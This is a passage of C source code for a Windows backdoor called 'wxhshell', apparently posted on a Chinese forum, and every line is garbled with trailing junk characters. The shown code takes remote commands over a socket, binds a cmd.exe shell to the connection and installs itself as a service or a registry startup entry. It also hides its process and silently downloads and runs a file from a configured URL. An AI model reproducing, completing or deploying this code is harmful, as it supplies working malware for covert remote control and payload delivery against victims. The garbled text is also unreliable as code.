  else { g-NrxyTBlx  
ra_v+HR7  
    switch(cmd[0]) { Iek ] /=  
  %T\ 2.vl  
  // 帮助 J8Vzf$t};  
  case '?': { Gi2Fjq/Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *Tr{a_{~C  
    break; ?8U]UM6Tu4  
  } OjqT5<U  
  // 安装 EQ|Wke  
  case 'i': { Dk8@x8  
    if(Install()) Kxz|0l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4mpcI  
    else G|"m-.9F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UISsiiG(  
    break; #uCfXJ-  
    } D";clP05K  
  // 卸载 |L:X$oM  
  case 'r': { hJz]N$@W  
    if(Uninstall()) OK47Q{.gh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /q'-.-bo  
    else (NJ.\m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -dfs8[i  
    break; GMoz$c6n_  
    } #CB Kt,  
  // 显示 wxhshell 所在路径 |oe  
  case 'p': { <E^;RG  
    char svExeFile[MAX_PATH]; wx!2/I>  
    strcpy(svExeFile,"\n\r"); wrK@1F9!  
      strcat(svExeFile,ExeFile); lIO#)>  
        send(wsh,svExeFile,strlen(svExeFile),0); 5j9%W18  
    break; o=xMaA  
    } m@0> =s~.  
  // 重启 t=s.w(3t  
  case 'b': { "QD>:G;u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S;%k?O 7v  
    if(Boot(REBOOT)) `9P`f4x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /g!Xe]Ss  
    else { $&Z#2 X.  
    closesocket(wsh); NVB#=!S  
    ExitThread(0); P7l3ZH( g  
    } && PZ;  
    break; /V#? d  
    } +V[;DOlll  
  // 关机 'Z#>K*  
  case 'd': { -C!m#"PDW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tT]mMlKJ  
    if(Boot(SHUTDOWN)) I }8b]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1\)lD(J\C  
    else { Neii$  
    closesocket(wsh); _g,_G  
    ExitThread(0); HnsLYY\  
    } BqdpJIr  
    break; e+>$4Jq  
    } $'<$:;4b3  
  // 获取shell VRSBf;?  
  case 's': { *m`x/_y+  
    CmdShell(wsh); eYUq0~3  
    closesocket(wsh); l k /Ke  
    ExitThread(0); |_ U!i  
    break; W%o! m,zFM  
  } A0v@L6m-O  
  // 退出 2d  YU  
  case 'x': { Ag8lI+ h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Y~'U =9  
    CloseIt(wsh); 8|5+\1!#/)  
    break; 6Lg#co}9  
    } 3 +`,'Q9  
  // 离开 0V`~z-#  
  case 'q': { ZjrBOb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NdX  C8  
    closesocket(wsh); IH5^M74b  
    WSACleanup(); 0~W6IGE~  
    exit(1); %Q;:nVt  
    break; ,\d03wha  
        } eW}-UeT  
  } uX&h~qE/  
  } lZ <D,&  
pigu]mj  
  // 提示信息 If8 ^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wu b7w#  
} %*IH~/Ld;]  
  } `49!di[  
3Ljj|5.q  
  return; Lc "{ePFh  
} ZU2D.Kf_:  
G9K& }_,  
// shell模块句柄 >enP~uW[#  
int CmdShell(SOCKET sock) \]\h,Y8  
{ ?`6Mfpvj96  
STARTUPINFO si; &>K|F >7q  
ZeroMemory(&si,sizeof(si)); 4\uq$.f-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~SsfkM"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^v:XON<  
PROCESS_INFORMATION ProcessInfo; Ay%]l| Gm  
char cmdline[]="cmd"; nB5^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C+mPl+}w  
  return 0; D}-HWJQA3  
} P*hYh5a  
!FB2\hiM  
// 自身启动模式 1CV ?  
int StartFromService(void) 9[`\ZGWD  
{ XIl#0-E0X  
typedef struct {>TAnb?n  
{ N4{g[[ T  
  DWORD ExitStatus; A.r.tf}:  
  DWORD PebBaseAddress; m2ph8KC  
  DWORD AffinityMask; O(_f&a  
  DWORD BasePriority; :?i,!0#"  
  ULONG UniqueProcessId; F*N Hy.Y  
  ULONG InheritedFromUniqueProcessId; (/t{z =  
}   PROCESS_BASIC_INFORMATION; fWDTP|DV  
gT,iH.  
PROCNTQSIP NtQueryInformationProcess; r]wy-GT  
-OKXfN]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U<'z, Px6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IA}.{zY~|  
2|`Mb~E;  
  HANDLE             hProcess; s= z$;1C  
  PROCESS_BASIC_INFORMATION pbi; u~mpZ"9$ 3  
I+jc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |O"Pb`V+  
  if(NULL == hInst ) return 0; 'gsO}xj  
{e0aH `me  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W v,?xm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'kg~#cf/+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U2\k7I  
 x_/H  
  if (!NtQueryInformationProcess) return 0; 2_Cp}Pj  
Lg2PP#r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y\dx \  
  if(!hProcess) return 0; zhyf}Ta'  
|>>^Mol  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^nQJo"g\  
d/YQ6oKU  
  CloseHandle(hProcess); h_g "F@  
L%pAEoSG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7&L8zl|K  
if(hProcess==NULL) return 0; >Tn[CgH]7  
U-{3HHA  
HMODULE hMod; S>"C}F$X  
char procName[255]; @]EdUzzKq  
unsigned long cbNeeded; E|6@h8 #  
@9k/od@mW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Z~ <jv  
l9H-N*Wx  
  CloseHandle(hProcess); vJ&35nF&  
hIa,PZ/Q  
if(strstr(procName,"services")) return 1; // 以服务启动 H3Zt 3l1u+  
1Eryw~,,9i  
  return 0; // 注册表启动 I6S>*V  
} VHL[Y  
";n%^I}  
// 主模块 l[nf"'  
int StartWxhshell(LPSTR lpCmdLine) 5\ }QOL  
{ (F:|tiV+  
  SOCKET wsl; a@?ebCE  
BOOL val=TRUE; ma`sv<f4-!  
  int port=0; _~*ba+{  
  struct sockaddr_in door; 7&V3f=aj6  
OSC_-[b-  
  if(wscfg.ws_autoins) Install(); ye| 2gH  
=Prz|   
port=atoi(lpCmdLine); E6-~  
&G3$q,`H  
if(port<=0) port=wscfg.ws_port; }UG<_ bE|  
(YYwn@NGj  
  WSADATA data; 'sk M$jr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;b_<5S  
vgr 5j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \,I{*!hw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a3He-76  
  door.sin_family = AF_INET; ZCfd<NS?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %r:4'$E7|  
  door.sin_port = htons(port); KkR.p,/  
I7<UC{Ny  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;N _ %O  
closesocket(wsl); 9HlM0qE5b  
return 1; M IUB]  
} 4@M}5WJ7  
B{V(g"dM  
  if(listen(wsl,2) == INVALID_SOCKET) { %XXjQ5p  
closesocket(wsl); aZ ta%3`)  
return 1; a6/ETQ  
} LM!@LQAMY  
  Wxhshell(wsl); )LBbA  
  WSACleanup(); L|A1bxt  
K-@cn*6  
return 0; MLmv+  
F@ZB6~T~.  
} ^4{{ +G)j  
5ai$W`6  
// 以NT服务方式启动 tZr_{F@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W9A F}  
{ G[P<!6Id!p  
DWORD   status = 0; 1L3 $h0i  
  DWORD   specificError = 0xfffffff; 8%b-.O:_$  
i6^-fl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o;pJjC]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l!}7GWj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (IAR-957pN  
  serviceStatus.dwWin32ExitCode     = 0; YD5mJ[1t"2  
  serviceStatus.dwServiceSpecificExitCode = 0; 1.a:iweN  
  serviceStatus.dwCheckPoint       = 0; tA K=W$r  
  serviceStatus.dwWaitHint       = 0; :,'.b|Tl.b  
cs]3Rp^g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R ~#&xfMd.  
  if (hServiceStatusHandle==0) return; " _TAo  
5N|hsfkx  
status = GetLastError(); AxCFZf5  
  if (status!=NO_ERROR) asbFNJG{  
{ 4&B|rf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *+J`Yk7}  
    serviceStatus.dwCheckPoint       = 0; O+~@ S~  
    serviceStatus.dwWaitHint       = 0; mxCqN1:#  
    serviceStatus.dwWin32ExitCode     = status; ' KNg;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4}<[4]f?|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p.vxrk`c  
    return; Q+E)_5_sA  
  } F[0w*i&u5  
z+nq<%"'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SCq3Kh  
  serviceStatus.dwCheckPoint       = 0; {\ BFWGX  
  serviceStatus.dwWaitHint       = 0; s>ZlW:jY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KhyGz"I!@$  
} W!a'KI'  
FOuPj+}F  
// 处理NT服务事件,比如:启动、停止 1_)Y{3L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |eej}G(,m}  
{ sTi3x)#xB  
switch(fdwControl) |b|bL 7nx  
{ U+@rLQ.-  
case SERVICE_CONTROL_STOP: ?a~#`<  
  serviceStatus.dwWin32ExitCode = 0; +3-f$/po  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FF30 VlJ  
  serviceStatus.dwCheckPoint   = 0; /I0}(;^y  
  serviceStatus.dwWaitHint     = 0; %nj{eT  
  { ->@iw!5xu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eXtlqU$  
  } H$)otDOE  
  return; ET~^P  
case SERVICE_CONTROL_PAUSE: E,|OMK#   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F^7qr  
  break; K`kWfPwp  
case SERVICE_CONTROL_CONTINUE: .wcKG9u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q>VvXUyK,  
  break; ? UBE0C  
case SERVICE_CONTROL_INTERROGATE: 5Yx 7Q:D  
  break; 2 57q%"  
}; eg>]{`WQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oD%B'{Zs4  
} ;VgB!  
^FK-e;J  
// 标准应用程序主函数 EA<x$O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NO.5Vy  
{ b!z=:  
?"T *{8  
// 获取操作系统版本 dijHi  
OsIsNt=GetOsVer(); bO+L#Kf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R|!4klb  
N-Sjd%Z  
  // 从命令行安装 2?c%<_jPA  
  if(strpbrk(lpCmdLine,"iI")) Install(); jp#/]>(9Z  
fZ  pUnc  
  // 下载执行文件 B..> *Xb  
if(wscfg.ws_downexe) { zR }vw{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @}A3ie'w  
  WinExec(wscfg.ws_filenam,SW_HIDE); uSNlI78D  
} 8Y~\:3&1<  
~G8haN4  
if(!OsIsNt) { <f@ A\  
// 如果时win9x,隐藏进程并且设置为注册表启动 -K iI&Q  
HideProc(); O[HBw~  
StartWxhshell(lpCmdLine); F3<Ip~K  
} lBO x B/`  
else ?xzDz  
  if(StartFromService()) s"0Hz"[^=  
  // 以服务方式启动 r?=3TAA  
  StartServiceCtrlDispatcher(DispatchTable); nbU?:=P  
else jGOE CKP  
  // 普通方式启动 4Kn)5>  
  StartWxhshell(lpCmdLine); +(##B pC  
wRQMuFGY  
return 0; VJ|8 0?4h  
}
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只看该作者 1 发表于: 2006-10-10
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